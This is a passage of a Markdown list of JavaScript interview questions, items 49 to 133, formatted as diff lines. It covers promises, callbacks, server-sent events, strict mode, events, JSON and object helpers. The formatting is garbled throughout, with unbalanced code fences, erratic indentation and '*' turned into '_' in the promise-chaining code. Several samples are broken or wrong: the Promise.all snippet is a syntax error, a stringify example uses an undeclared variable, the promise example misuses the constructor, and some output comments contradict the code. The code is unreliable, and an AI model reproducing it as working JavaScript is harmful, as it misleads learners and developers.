+           Web workers will continue to listen for messages (even after the external script is finished) until it is terminated. You can use the terminate() method to terminate listening to the messages.
+
+        ```js
+
+    //
+    w.terminate();
+
+    ````
+
+        1. Reuse the Web Worker: If you set the worker variable to undefined you can reuse the code
+
+        ```js
+
+    //
+    w = undefined;
+    ````
+
+50. What are the restrictions of web workers on DOM
+
+    WebWorkers don't have access to below javascript objects since they are defined in an external files
+
+    1. Window object
+    2. Document object
+    3. Parent object
+
+51. What is a promise
+
+        A promise is an object that may produce a single value some time in the future with either a resolved value or a reason that it's not resolved(for example, network error). It will be in one of the 3 possible states: fulfilled, rejected, or pending.
+
+        The syntax of Promise creation looks like below,
+
+        ```js
+
+    //
+    const promise = new Promise(function (resolve, reject) {
+    // promise description
+    });
+
+    ````
+
+        The usage of a promise would be as below,
+
+        ```js
+
+    //
+    const promise = new Promise(
+    (resolve) => {
+    setTimeout(() => {
+    resolve("I'm a Promise!");
+    }, 5000);
+    },
+    (reject) => {}
+    );
+
+        promise.then((value) => console.log(value));
+        ```
+
+        The action flow of a promise will be as below,
+
+        ![Screenshot](images/promises.png)
+
+    ````
+
+52. Why do you need a promise
+
+    Promises are used to handle asynchronous operations. They provide an alternative approach for callbacks by reducing the callback hell and writing the cleaner code.
+
+53. What are the three states of promise
+
+    Promises have three states:
+
+    1. **Pending:** This is an initial state of the Promise before an operation begins
+    2. **Fulfilled:** This state indicates that the specified operation was completed.
+    3. **Rejected:** This state indicates that the operation did not complete. In this case an error value will be thrown.
+
+54. What is a callback function
+
+        A callback function is a function passed into another function as an argument. This function is invoked inside the outer function to complete an action.
+        Let's take a simple example of how to use callback function
+
+        ```js
+
+    //
+    function callbackFunction(name) {
+    console.log('Hello ' + name);
+    }
+
+        function outerFunction(callback) {
+            let name = prompt('Please enter your name.');
+            callback(name);
+        }
+
+        outerFunction(callbackFunction);
+        ```
+
+55. Why do we need callbacks
+
+        The callbacks are needed because javascript is an event driven language. That means instead of waiting for a response javascript will keep executing while listening for other events.
+        Let's take an example with the first function invoking an API call(simulated by setTimeout) and the next function which logs the message.
+
+        ```js
+
+    //
+    function firstFunction() {
+    // Simulate a code delay
+    setTimeout(function () {
+    console.log('First function called');
+    }, 1000);
+    }
+    function secondFunction() {
+    console.log('Second function called');
+    }
+    firstFunction();
+    secondFunction();
+
+        Output;
+        // Second function called
+        // First function called
+        ```
+
+        As observed from the output, javascript didn't wait for the response of the first function and the remaining code block got executed. So callbacks are used in a way to make sure that certain code doesn't execute until the other code finishes execution.
+
+56. What is a callback hell
+
+        Callback Hell is an anti-pattern with multiple nested callbacks which makes code hard to read and debug when dealing with asynchronous logic. The callback hell looks like below,
+
+        ```js
+
+    //
+    async1(function(){
+    async2(function(){
+    async3(function(){
+    async4(function(){
+    ....
+    });
+    });
+    });
+    });
+
+    ```
+
+    ```
+
+57. What are server-sent events
+
+    Server-sent events (SSE) is a server push technology enabling a browser to receive automatic updates from a server via HTTP connection without resorting to polling. These are a one way communications channel - events flow from server to client only. This has been used in Facebook/Twitter updates, stock price updates, news feeds etc.
+
+58. How do you receive server-sent event notifications
+
+        The EventSource object is used to receive server-sent event notifications. For example, you can receive messages from server as below,
+
+        ```js
+
+    //
+    if (typeof EventSource !== 'undefined') {
+    var source = new EventSource('sse_generator.js');
+    source.onmessage = function (event) {
+    document.getElementById('output').innerHTML += event.data + '<br>';
+    };
+    }
+
+    ```
+
+    ```
+
+59. How do you check browser support for server-sent events
+
+        You can perform browser support for server-sent events before using it as below,
+
+        ```js
+
+    //
+    if (typeof EventSource !== 'undefined') {
+    // Server-sent events supported. Let's have some code here!
+    } else {
+    // No server-sent events supported
+    }
+
+    ```
+
+    ```
+
+60. What are the events available for server sent events
+
+    Below are the list of events available for server sent events
+    | Event | Description |
+    |---- | ---------
+    | onopen | It is used when a connection to the server is opened |
+    | onmessage | This event is used when a message is received |
+    | onerror | It happens when an error occurs|
+
+61. What are the main rules of promise
+
+    A promise must follow a specific set of rules,
+
+    1. A promise is an object that supplies a standard-compliant `.then()` method
+    2. A pending promise may transition into either fulfilled or rejected state
+    3. A fulfilled or rejected promise is settled and it must not transition into any other state.
+    4. Once a promise is settled, the value must not change.
+
+62. What is callback in callback
+
+        You can nest one callback inside in another callback to execute the actions sequentially one by one. This is known as callbacks in callbacks.
+
+        ```js
+
+    //
+    loadScript('/script1.js', function (script) {
+    console.log('first script is loaded');
+
+            loadScript('/script2.js', function (script) {
+                console.log('second script is loaded');
+
+                loadScript('/script3.js', function (script) {
+                    console.log('third script is loaded');
+                    // after all scripts are loaded
+                });
+            });
+        });
+        ```
+
+63. What is promise chaining
+
+        The process of executing a sequence of asynchronous tasks one after another using promises is known as Promise chaining. Let's take an example of promise chaining for calculating the final result,
+
+        ```js
+
+    //
+    new Promise(function (resolve, reject) {
+    setTimeout(() => resolve(1), 1000);
+    })
+    .then(function (result) {
+    console.log(result); // 1
+    return result _ 2;
+    })
+    .then(function (result) {
+    console.log(result); // 2
+    return result _ 3;
+    })
+    .then(function (result) {
+    console.log(result); // 6
+    return result \* 4;
+    });
+
+    ```
+
+        In the above handlers, the result is passed to the chain of .then() handlers with the below work flow,
+
+        1. The initial promise resolves in 1 second,
+        2. After that `.then` handler is called by logging the result(1) and then return a promise with the value of result \* 2.
+        3. After that the value passed to the next `.then` handler by logging the result(2) and return a promise with result \* 3.
+        4. Finally the value passed to the last `.then` handler by logging the result(6) and return a promise with result \* 4.
+
+    ```
+
+64. What is promise.all
+
+        Promise.all is a promise that takes an array of promises as an input (an iterable), and it gets resolved when all the promises get resolved or any one of them gets rejected. For example, the syntax of promise.all method is below,
+
+        ```js
+
+    //
+    Promise.all([Promise1, Promise2, Promise3]) .then(result) => { console.log(result) }) .catch(error => console.log(`Error in promises ${error}`))
+
+    ```
+
+        **Note:** Remember that the order of the promises(output the result) is maintained as per input order.
+
+    ```
+
+65. What is the purpose of the race method in promise
+
+        Promise.race() method will return the promise instance which is firstly resolved or rejected. Let's take an example of race() method where promise2 is resolved first
+
+        ```js
+
+    //
+    var promise1 = new Promise(function (resolve, reject) {
+    setTimeout(resolve, 500, 'one');
+    });
+    var promise2 = new Promise(function (resolve, reject) {
+    setTimeout(resolve, 100, 'two');
+    });
+
+        Promise.race([promise1, promise2]).then(function (value) {
+            console.log(value); // "two" // Both promises will resolve, but promise2 is faster
+        });
+        ```
+
+66. What is a strict mode in javascript
+
+    Strict Mode is a new feature in ECMAScript 5 that allows you to place a program, or a function, in a "strict" operating context. This way it prevents certain actions from being taken and throws more exceptions. The literal expression `"use strict";` instructs the browser to use the javascript code in the Strict mode.
+
+67. Why do you need strict mode
+
+    Strict mode is useful to write "secure" JavaScript by notifying "bad syntax" into real errors. For example, it eliminates accidentally creating a global variable by throwing an error and also throws an error for assignment to a non-writable property, a getter-only property, a non-existing property, a non-existing variable, or a non-existing object.
+
+68. How do you declare strict mode
+
+        The strict mode is declared by adding "use strict"; to the beginning of a script or a function.
+        If declared at the beginning of a script, it has global scope.
+
+        ```js
+
+    //
+    'use strict';
+    x = 3.14; // This will cause an error because x is not declared
+
+    ````
+
+        and if you declare inside a function, it has local scope
+
+        ```js
+
+    //
+    x = 3.14; // This will not cause an error.
+    myFunction();
+
+        function myFunction() {
+            'use strict';
+            y = 3.14; // This will cause an error
+        }
+        ```
+
+    ````
+
+69. What is the purpose of double exclamation
+
+        The double exclamation or negation(!!) ensures the resulting type is a boolean. If it was falsey (e.g. 0, null, undefined, etc.), it will be false, otherwise, true.
+        For example, you can test IE version using this expression as below,
+
+        ```js
+
+    //
+    let isIE8 = false;
+    isIE8 = !!navigator.userAgent.match(/MSIE 8.0/);
+    console.log(isIE8); // returns true or false
+
+    ````
+
+        If you don't use this expression then it returns the original value.
+
+        ```js
+
+    //
+    console.log(navigator.userAgent.match(/MSIE 8.0/)); // returns either an Array or null
+    ````
+
+        **Note:** The expression !! is not an operator, but it is just twice of ! operator.
+
+70. What is the purpose of the delete operator
+
+        The delete keyword is used to delete the property as well as its value.
+
+        ```js
+
+    //
+    var user = { name: 'John', age: 20 };
+    delete user.age;
+
+        console.log(user); // {name: "John"}
+        ```
+
+71. What is the typeof operator
+
+        You can use the JavaScript typeof operator to find the type of a JavaScript variable. It returns the type of a variable or an expression.
+
+        ```js
+
+    //
+    typeof 'John Abraham'; // Returns "string"
+    typeof (1 + 2); // Returns "number"
+
+    ```
+
+    ```
+
+72. What is undefined property
+
+        The undefined property indicates that a variable has not been assigned a value, or not declared at all. The type of undefined value is undefined too.
+
+        ```js
+
+    //
+    var user; // Value is undefined, type is undefined
+    console.log(typeof user); //undefined
+
+    ````
+
+        Any variable can be emptied by setting the value to undefined.
+
+        ```js
+
+    //
+    user = undefined;
+    ````
+
+73. What is null value
+
+        The value null represents the intentional absence of any object value. It is one of JavaScript's primitive values. The type of null value is object.
+        You can empty the variable by setting the value to null.
+
+        ```js
+
+    //
+    var user = null;
+    console.log(typeof user); //object
+
+    ```
+
+    ```
+
+74. What is the difference between null and undefined
+
+    Below are the main differences between null and undefined,
+
+    | Null                                                                                            | Undefined                                                                                               |
+    | ----------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+    | It is an assignment value which indicates that variable points to no object.                    | It is not an assignment value where a variable has been declared but has not yet been assigned a value. |
+    | Type of null is object                                                                          | Type of undefined is undefined                                                                          |
+    | The null value is a primitive value that represents the null, empty, or non-existent reference. | The undefined value is a primitive value used when a variable has not been assigned a value.            |
+    | Indicates the absence of a value for a variable                                                 | Indicates absence of variable itself                                                                    |
+    | Converted to zero (0) while performing primitive operations                                     | Converted to NaN while performing primitive operations                                                  |
+
+75. What is eval
+
+        The eval() function evaluates JavaScript code represented as a string. The string can be a JavaScript expression, variable, statement, or sequence of statements.
+
+        ```js
+
+    //
+    console.log(eval('1 + 2')); // 3
+
+    ```
+
+    ```
+
+76. What is the difference between window and document
+
+    Below are the main differences between window and document,
+
+    | Window                                                                        | Document                                                                                      |
+    | ----------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
+    | It is the root level element in any web page                                  | It is the direct child of the window object. This is also known as Document Object Model(DOM) |
+    | By default window object is available implicitly in the page                  | You can access it via window.document or document.                                            |
+    | It has methods like alert(), confirm() and properties like document, location | It provides methods like getElementById, getElementsByTagName, createElement etc              |
+
+77. How do you access history in javascript
+
+        The window.history object contains the browser's history. You can load previous and next URLs in the history using back() and next() methods.
+
+        ```js
+
+    //
+    function goBack() {
+    window.history.back();
+    }
+    function goForward() {
+    window.history.forward();
+    }
+
+    ```
+
+        **Note:** You can also access history without window prefix.
+
+    ```
+
+78. How do you detect caps lock key turned on or not
+
+        The `mouseEvent getModifierState()` is used to return a boolean value that indicates whether the specified modifier key is activated or not. The modifiers such as CapsLock, ScrollLock and NumLock are activated when they are clicked, and deactivated when they are clicked again.
+
+        Let's take an input element to detect the CapsLock on/off behavior with an example,
+
+        ```html
+        <input type="password" onmousedown="enterInput(event)" />
+
+        <p id="feedback">
+
+    </p>
+
+        <script>
+            function enterInput(e) {
+                var flag = e.getModifierState('CapsLock');
+                if (flag) {
+                    document.getElementById('feedback').innerHTML = 'CapsLock activated';
+                } else {
+                    document.getElementById('feedback').innerHTML = 'CapsLock not activated';
+                }
+            }
+        </script>
+        ```
+
+79. What is isNaN
+
+        The isNaN() function is used to determine whether a value is an illegal number (Not-a-Number) or not. i.e, This function returns true if the value equates to NaN. Otherwise it returns false.
+
+        ```js
+
+    //
+    isNaN('Hello'); //true
+    isNaN('100'); //false
+
+    ```
+
+    ```
+
+80. What are the differences between undeclared and undefined variables
+
+    Below are the major differences between undeclared and undefined variables,
+
+    | undeclared                                                                                  | undefined                                                                              |
+    | ------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- |
+    | These variables do not exist in a program and are not declared                              | These variables declared in the program but have not assigned any value                |
+    | If you try to read the value of an undeclared variable, then a runtime error is encountered | If you try to read the value of an undefined variable, an undefined value is returned. |
+
+81. What are global variables
+
+        Global variables are those that are available throughout the length of the code without any scope. The var keyword is used to declare a local variable but if you omit it then it will become global variable
+
+        ```js
+
+    //
+    msg = 'Hello'; // var is missing, it becomes global variable
+
+    ```
+
+    ```
+
+82. What are the problems with global variables
+
+    The problem with global variables is the conflict of variable names of local and global scope. It is also difficult to debug and test the code that relies on global variables.
+
+83. What is NaN property
+
+        The NaN property is a global property that represents "Not-a-Number" value. i.e, It indicates that a value is not a legal number. It is very rare to use NaN in a program but it can be used as return value for few cases
+
+        ```js
+
+    //
+    Math.sqrt(-1);
+    parseInt('Hello');
+
+    ```
+
+    ```
+
+84. What is the purpose of isFinite function
+
+        The isFinite() function is used to determine whether a number is a finite, legal number. It returns false if the value is +infinity, -infinity, or NaN (Not-a-Number), otherwise it returns true.
+
+        ```js
+
+    //
+    isFinite(Infinity); // false
+    isFinite(NaN); // false
+    isFinite(-Infinity); // false
+
+        isFinite(100); // true
+        ```
+
+85. What is an event flow
+
+    Event flow is the order in which event is received on the web page. When you click an element that is nested in various other elements, before your click actually reaches its destination, or target element, it must trigger the click event for each of its parent elements first, starting at the top with the global window object.
+    There are two ways of event flow
+
+    1. Top to Bottom(Event Capturing)
+    2. Bottom to Top (Event Bubbling)
+
+86. What is event bubbling
+
+    Event bubbling is a type of event propagation where the event first triggers on the innermost target element, and then successively triggers on the ancestors (parents) of the target element in the same nesting hierarchy till it reaches the outermost DOM element.
+
+87. What is event capturing
+
+    Event capturing is a type of event propagation where the event is first captured by the outermost element, and then successively triggers on the descendants (children) of the target element in the same nesting hierarchy till it reaches the innermost DOM element.
+
+88. How do you submit a form using JavaScript
+
+        You can submit a form using `document.forms[0].submit()`. All the form input's information is submitted using onsubmit event handler
+
+        ```js
+
+    //
+    function submit() {
+    document.forms[0].submit();
+    }
+
+    ```
+
+    ```
+
+89. How do you find operating system details
+
+        The window.navigator object contains information about the visitor's browser OS details. Some of the OS properties are available under platform property,
+
+        ```js
+
+    //
+    console.log(navigator.platform);
+
+    ```
+
+    ```
+
+90. What is the difference between document load and DOMContentLoaded events
+
+    The `DOMContentLoaded` event is fired when the initial HTML document has been completely loaded and parsed, without waiting for assets(stylesheets, images, and subframes) to finish loading. Whereas The load event is fired when the whole page has loaded, including all dependent resources(stylesheets, images).
+
+91. What is the difference between native, host and user objects
+
+    `Native objects` are objects that are part of the JavaScript language defined by the ECMAScript specification. For example, String, Math, RegExp, Object, Function etc core objects defined in the ECMAScript spec.
+    `Host objects` are objects provided by the browser or runtime environment (Node). For example, window, XmlHttpRequest, DOM nodes etc are considered as host objects.
+    `User objects` are objects defined in the javascript code. For example, User objects created for profile information.
+
+92. What are the tools or techniques used for debugging JavaScript code
+
+    You can use below tools or techniques for debugging javascript
+
+    1. Chrome Devtools
+    2. debugger statement
+    3. Good old console.log statement
+
+93. What are the pros and cons of promises over callbacks
+
+    Below are the list of pros and cons of promises over callbacks,
+
+    **Pros:**
+
+    1. It avoids callback hell which is unreadable
+    2. Easy to write sequential asynchronous code with .then()
+    3. Easy to write parallel asynchronous code with Promise.all()
+    4. Solves some of the common problems of callbacks(call the callback too late, too early, many times and swallow errors/exceptions)
+
+    **Cons:**
+
+    1. It makes little complex code
+    2. You need to load a polyfill if ES6 is not supported
+
+94. What is the difference between an attribute and a property
+
+        Attributes are defined on the HTML markup whereas properties are defined on the DOM. For example, the below HTML element has 2 attributes type and value,
+
+        ```js
+
+    //
+    <input type="text" value="Name:">
+
+    ````
+
+        You can retrieve the attribute value as below,
+
+        ```js
+
+    //
+    const input = document.querySelector('input');
+    console.log(input.getAttribute('value')); // Good morning
+    console.log(input.value); // Good morning
+    ````
+
+        And after you change the value of the text field to "Good evening", it becomes like
+
+        ```js
+
+    //
+    console.log(input.getAttribute('value')); // Good morning
+    console.log(input.value); // Good evening
+
+    ```
+
+    ```
+
+95. What is same-origin policy
+
+    The same-origin policy is a policy that prevents JavaScript from making requests across domain boundaries. An origin is defined as a combination of URI scheme, hostname, and port number. If you enable this policy then it prevents a malicious script on one page from obtaining access to sensitive data on another web page using Document Object Model(DOM).
+
+96. What is the purpose of void 0
+
+        Void(0) is used to prevent the page from refreshing. This will be helpful to eliminate the unwanted side-effect, because it will return the undefined primitive value. It is commonly used for HTML documents that use href="JavaScript:Void(0);" within an `<a>` element. i.e, when you click a link, the browser loads a new page or refreshes the same page. But this behavior will be prevented using this expression.
+        For example, the below link notify the message without reloading the page
+
+        ```js
+
+    //
+    <a href="JavaScript:void(0);" onclick="alert('Well done!')">
+    Click Me!
+    </a>
+
+    ```
+
+    ```
+
+97. Is JavaScript a compiled or interpreted language
+
+    JavaScript is an interpreted language, not a compiled language. An interpreter in the browser reads over the JavaScript code, interprets each line, and runs it. Nowadays modern browsers use a technology known as Just-In-Time (JIT) compilation, which compiles JavaScript to executable bytecode just as it is about to run.
+
+98. Is JavaScript a case-sensitive language
+
+    Yes, JavaScript is a case sensitive language. The language keywords, variables, function & object names, and any other identifiers must always be typed with a consistent capitalization of letters.
+
+99. Is there any relation between Java and JavaScript
+
+    No, they are entirely two different programming languages and have nothing to do with each other. But both of them are Object Oriented Programming languages and like many other languages, they follow similar syntax for basic features(if, else, for, switch, break, continue etc).
+
+100.    What are events
+
+             Events are "things" that happen to HTML elements. When JavaScript is used in HTML pages, JavaScript can `react` on these events. Some of the examples of HTML events are,
+
+             1. Web page has finished loading
+             2. Input field was changed
+             3. Button was clicked
+
+             Let's describe the behavior of click event for button element,
+
+             ```js
+
+        //
+        <!doctype html>
+        <html>
+        <head>
+        <script>
+        function greeting() {
+        alert('Hello! Good morning');
+        }
+        </script>
+        </head>
+        <body>
+        <button type="button" onclick="greeting()">Click me</button>
+        </body>
+        </html>
+        ```
+
+101.    Who created javascript
+
+        JavaScript was created by Brendan Eich in 1995 during his time at Netscape Communications. Initially it was developed under the name `Mocha`, but later the language was officially called `LiveScript` when it first shipped in beta releases of Netscape.
+
+102.    What is the use of preventDefault method
+
+             The preventDefault() method cancels the event if it is cancelable, meaning that the default action or behaviour that belongs to the event will not occur. For example, prevent form submission when clicking on submit button and prevent opening the page URL when clicking on hyperlink are some common use cases.
+
+             ```js
+
+        //
+        document.getElementById('link').addEventListener('click', function (event) {
+        event.preventDefault();
+        });
+
+        ```
+
+             **Note:** Remember that not all events are cancelable.
+
+        ```
+
+103.    What is the use of stopPropagation method
+
+             The stopPropagation method is used to stop the event from bubbling up the event chain. For example, the below nested divs with stopPropagation method prevents default event propagation when clicking on nested div(Div1)
+
+             ```js
+
+        //
+        <p>Click DIV1 Element</p>
+        <div onclick="secondFunc()">DIV 2
+        <div onclick="firstFunc(event)">DIV 1</div>
+        </div>
+
+             <script>
+             function firstFunc(event) {
+               alert("DIV 1");
+               event.stopPropagation();
+             }
+
+             function secondFunc() {
+               alert("DIV 2");
+             }
+             </script>
+             ```
+
+104.    What are the steps involved in return false usage
+
+        The return false statement in event handlers performs the below steps,
+
+        1. First it stops the browser's default action or behaviour.
+        2. It prevents the event from propagating the DOM
+        3. Stops callback execution and returns immediately when called.
+
+105.    What is BOM
+
+        The Browser Object Model (BOM) allows JavaScript to "talk to" the browser. It consists of the objects navigator, history, screen, location and document which are children of the window. The Browser Object Model is not standardized and can change based on different browsers.
+
+        ![Screenshot](images/bom.png)
+
+106.    What is the use of setTimeout
+
+             The setTimeout() method is used to call a function or evaluate an expression after a specified number of milliseconds. For example, let's log a message after 2 seconds using setTimeout method,
+
+             ```js
+
+        //
+        setTimeout(function () {
+        console.log('Good morning');
+        }, 2000);
+
+        ```
+
+        ```
+
+107.    What is the use of setInterval
+
+             The setInterval() method is used to call a function or evaluate an expression at specified intervals (in milliseconds). For example, let's log a message after 2 seconds using setInterval method,
+
+             ```js
+
+        //
+        setInterval(function () {
+        console.log('Good morning');
+        }, 2000);
+
+        ```
+
+        ```
+
+108.    Why is JavaScript treated as Single threaded
+
+        JavaScript is a single-threaded language. Because the language specification does not allow the programmer to write code so that the interpreter can run parts of it in parallel in multiple threads or processes. Whereas languages like java, go, C++ can make multi-threaded and multi-process programs.
+
+109.    What is an event delegation
+
+             Event delegation is a technique for listening to events where you delegate a parent element as the listener for all of the events that happen inside it.
+
+             For example, if you wanted to detect field changes in inside a specific form, you can use event delegation technique,
+
+             ```js
+
+        //
+        var form = document.querySelector('#registration-form');
+
+             // Listen for changes to fields inside the form
+             form.addEventListener(
+                 'input',
+                 function (event) {
+                     // Log the field that was changed
+                     console.log(event.target);
+                 },
+                 false
+             );
+             ```
+
+110.    What is ECMAScript
+
+        ECMAScript is the scripting language that forms the basis of JavaScript. ECMAScript standardized by the ECMA International standards organization in the ECMA-262 and ECMA-402 specifications. The first edition of ECMAScript was released in 1997.
+
+111.    What is JSON
+
+        JSON (JavaScript Object Notation) is a lightweight format that is used for data interchanging. It is based on a subset of JavaScript language in the way objects are built in JavaScript.
+
+112.    What are the syntax rules of JSON
+
+        Below are the list of syntax rules of JSON
+
+        1. The data is in name/value pairs
+        2. The data is separated by commas
+        3. Curly braces hold objects
+        4. Square brackets hold arrays
+
+113.    What is the purpose JSON stringify
+
+             When sending data to a web server, the data has to be in a string format. You can achieve this by converting JSON object into a string using stringify() method.
+
+             ```js
+
+        //
+        var userJSON = { name: 'John', age: 31 };
+        var userString = JSON.stringify(user);
+        console.log(userString); //"{"name":"John","age":31}"
+
+        ```
+
+        ```
+
+114.    How do you parse JSON string
+
+             When receiving the data from a web server, the data is always in a string format. But you can convert this string value to a javascript object using parse() method.
+
+             ```js
+
+        //
+        var userString = '{"name":"John","age":31}';
+        var userJSON = JSON.parse(userString);
+        console.log(userJSON); // {name: "John", age: 31}
+
+        ```
+
+        ```
+
+115.    Why do you need JSON
+
+        When exchanging data between a browser and a server, the data can only be text. Since JSON is text only, it can easily be sent to and from a server, and used as a data format by any programming language.
+
+116.    What are PWAs
+
+        Progressive web applications (PWAs) are a type of mobile app delivered through the web, built using common web technologies including HTML, CSS and JavaScript. These PWAs are deployed to servers, accessible through URLs, and indexed by search engines.
+
+117.    What is the purpose of clearTimeout method
+
+             The clearTimeout() function is used in javascript to clear the timeout which has been set by setTimeout()function before that. i.e, The return value of setTimeout() function is stored in a variable and it's passed into the clearTimeout() function to clear the timer.
+
+             For example, the below setTimeout method is used to display the message after 3 seconds. This timeout can be cleared by the clearTimeout() method.
+
+             ```js
+
+        //
+        <script>
+        var msg;
+        function greeting() {
+        alert('Good morning');
+        }
+        function start() {
+        msg =setTimeout(greeting, 3000);
+        
+             }
+        
+             function stop() {
+                 clearTimeout(msg);
+             }
+             </script>
+
+             ```
+
+118.    What is the purpose of clearInterval method
+
+             The clearInterval() function is used in javascript to clear the interval which has been set by setInterval() function. i.e, The return value returned by setInterval() function is stored in a variable and it's passed into the clearInterval() function to clear the interval.
+
+             For example, the below setInterval method is used to display the message for every 3 seconds. This interval can be cleared by the clearInterval() method.
+
+             ```js
+
+        //
+        <script>
+        var msg;
+        function greeting() {
+        alert('Good morning');
+        }
+        function start() {
+        msg = setInterval(greeting, 3000);
+        
+             }
+        
+             function stop() {
+                 clearInterval(msg);
+             }
+             </script>
+
+             ```
+
+119.    How do you redirect new page in javascript
+
+             In vanilla javascript, you can redirect to a new page using the `location` property of window object. The syntax would be as follows,
+
+             ```js
+
+        //
+        function redirect() {
+        window.location.href = 'newPage.html';
+        }
+
+        ```
+
+        ```
+
+120.    How do you check whether a string contains a substring
+
+             There are 3 possible ways to check whether a string contains a substring or not,
+
+             1. **Using includes:** ES6 provided `String.prototype.includes` method to test a string contains a substring
+
+             ```js
+
+        //
+        var mainString = 'hello',
+        subString = 'hell';
+        mainString.includes(subString);
+
+        ````
+
+             1. **Using indexOf:** In an ES5 or older environment, you can use `String.prototype.indexOf` which returns the index of a substring. If the index value is not equal to -1 then it means the substring exists in the main string.
+
+             ```js
+
+        //
+        var mainString = 'hello',
+        subString = 'hell';
+        mainString.indexOf(subString) !== -1;
+        ````
+
+             1. **Using RegEx:** The advanced solution is using Regular expression's test method(`RegExp.test`), which allows for testing for against regular expressions
+
+             ```js
+
+        //
+        var mainString = 'hello',
+        regex = /hell/;
+        regex.test(mainString);
+
+        ```
+
+        ```
+
+121.    How do you validate an email in javascript
+
+             You can validate an email in javascript using regular expressions. It is recommended to do validations on the server side instead of the client side. Because the javascript can be disabled on the client side.
+
+             ```js
+
+        //
+        function validateEmail(email) {
+        var re =
+        /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)\*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
+        return re.test(String(email).toLowerCase());
+        }
+
+        ```
+
+             The above regular expression accepts unicode characters.
+
+        ```
+
+122.    How do you get the current url with javascript
+
+             You can use `window.location.href` expression to get the current url path and you can use the same expression for updating the URL too. You can also use `document.URL` for read-only purposes but this solution has issues in FF.
+
+             ```js
+
+        //
+        console.log('location.href', window.location.href); // Returns full URL
+
+        ```
+
+        ```
+
+123.    What are the various url properties of location object
+
+        The below `Location` object properties can be used to access URL components of the page,
+
+        1. href - The entire URL
+        2. protocol - The protocol of the URL
+        3. host - The hostname and port of the URL
+        4. hostname - The hostname of the URL
+        5. port - The port number in the URL
+        6. pathname - The path name of the URL
+        7. search - The query portion of the URL
+        8. hash - The anchor portion of the URL
+
+124.    How do get query string values in javascript
+
+             You can use URLSearchParams to get query string values in javascript. Let's see an example to get the client code value from URL query string,
+
+             ```js
+
+        //
+        const urlParams = new URLSearchParams(window.location.search);
+        const clientCode = urlParams.get('clientCode');
+
+        ```
+
+        ```
+
+125.    How do you check if a key exists in an object
+
+             You can check whether a key exists in an object or not using three approaches,
+
+             1. **Using in operator:** You can use the in operator whether a key exists in an object or not
+
+             ```js
+
+        //
+        'key' in obj;
+
+        ````
+
+             and If you want to check if a key doesn't exist, remember to use parenthesis,
+
+             ```js
+
+        //
+        !('key' in obj);
+        ````
+
+             1. **Using hasOwnProperty method:** You can use `hasOwnProperty` to particularly test for properties of the object instance (and not inherited properties)
+
+             ```js
+
+        //
+        obj.hasOwnProperty('key'); // true
+
+        ````
+
+             1. **Using undefined comparison:** If you access a non-existing property from an object, the result is undefined. Let's compare the properties against undefined to determine the existence of the property.
+
+             ```js
+
+        //
+        const user = {
+        name: 'John'
+        };
+
+             console.log(user.name !== undefined); // true
+             console.log(user.nickName !== undefined); // false
+             ```
+
+        ````
+
+126.    How do you loop through or enumerate javascript object
+
+             You can use the `for-in` loop to loop through javascript object. You can also make sure that the key you get is an actual property of an object, and doesn't come from the prototype using `hasOwnProperty` method.
+
+             ```js
+
+        //
+        var object = {
+        k1: 'value1',
+        k2: 'value2',
+        k3: 'value3'
+        };
+
+             for (var key in object) {
+                 if (object.hasOwnProperty(key)) {
+                     console.log(key + ' -> ' + object[key]); // k1 -> value1 ...
+                 }
+             }
+             ```
+
+127.    How do you test for an empty object
+
+             There are different solutions based on ECMAScript versions
+
+             1. **Using Object entries(ECMA 7+):** You can use object entries length along with constructor type.
+
+             ```js
+
+        //
+        Object.entries(obj).length === 0 && obj.constructor === Object; // Since date object length is 0, you need to check constructor check as well
+
+        ````
+
+             1. **Using Object keys(ECMA 5+):** You can use object keys length along with constructor type.
+
+             ```js
+
+        //
+        Object.keys(obj).length === 0 && obj.constructor === Object; // Since date object length is 0, you need to check constructor check as well
+        ````
+
+             1. **Using for-in with hasOwnProperty(Pre-ECMA 5):** You can use a for-in loop along with hasOwnProperty.
+
+             ```js
+
+        //
+        function isEmpty(obj) {
+        for (var prop in obj) {
+        if (obj.hasOwnProperty(prop)) {
+        return false;
+        }
+        }
+
+                 return JSON.stringify(obj) === JSON.stringify({});
+             }
+             ```
+
+128.    What is an arguments object
+
+             The arguments object is an Array-like object accessible inside functions that contains the values of the arguments passed to that function. For example, let's see how to use arguments object inside sum function,
+
+             ```js
+
+        //
+        function sum() {
+        var total = 0;
+        for (var i = 0, len = arguments.length; i < len; ++i) {
+        total += arguments[i];
+        }
+        return total;
+        }
+
+             sum(1, 2, 3); // returns 6
+             ```
+
+             **Note:** You can't apply array methods on arguments object. But you can convert into a regular array as below.
+
+             ```js
+
+        //
+        var argsArray = Array.prototype.slice.call(arguments);
+
+        ```
+
+        ```
+
+129.    How do you make first letter of the string in an uppercase
+
+             You can create a function which uses a chain of string methods such as charAt, toUpperCase and slice methods to generate a string with the first letter in uppercase.
+
+             ```js
+
+        //
+        function capitalizeFirstLetter(string) {
+        return string.charAt(0).toUpperCase() + string.slice(1);
+        }
+
+        ```
+
+        ```
+
+130.    What are the pros and cons of for loop
+
+        The for-loop is a commonly used iteration syntax in javascript. It has both pros and cons
+
+Pros
+
+     1. Works on every environment
+     2. You can use break and continue flow control statements
+
+Cons
+
+     1. Too verbose
+     2. Imperative
+     3. You might face one-by-off errors
+
+131.    How do you display the current date in javascript
+
+             You can use `new Date()` to generate a new Date object containing the current date and time. For example, let's display the current date in mm/dd/yyyy
+
+             ```js
+
+        //
+        var today = new Date();
+        var dd = String(today.getDate()).padStart(2, '0');
+        var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!
+        var yyyy = today.getFullYear();
+
+             today = mm + '/' + dd + '/' + yyyy;
+             document.write(today);
+             ```
+
+132.    How do you compare two date objects
+
+             You need to use date.getTime() method to compare date values instead of comparison operators (==, !=, ===, and !== operators)
+
+             ```js
+
+        //
+        var d1 = new Date();
+        var d2 = new Date(d1);
+        console.log(d1.getTime() === d2.getTime()); //True
+        console.log(d1 === d2); // False
+
+        ```
+
+        ```
+
+133.    How do you check if a string starts with another string
+
+             You can use ECMAScript 6's `String.prototype.startsWith()` method to check if a string starts with another string or not. But it is not yet supported in all browsers. Let's see an example to see this usage,
+
+             ```js
+
+        //
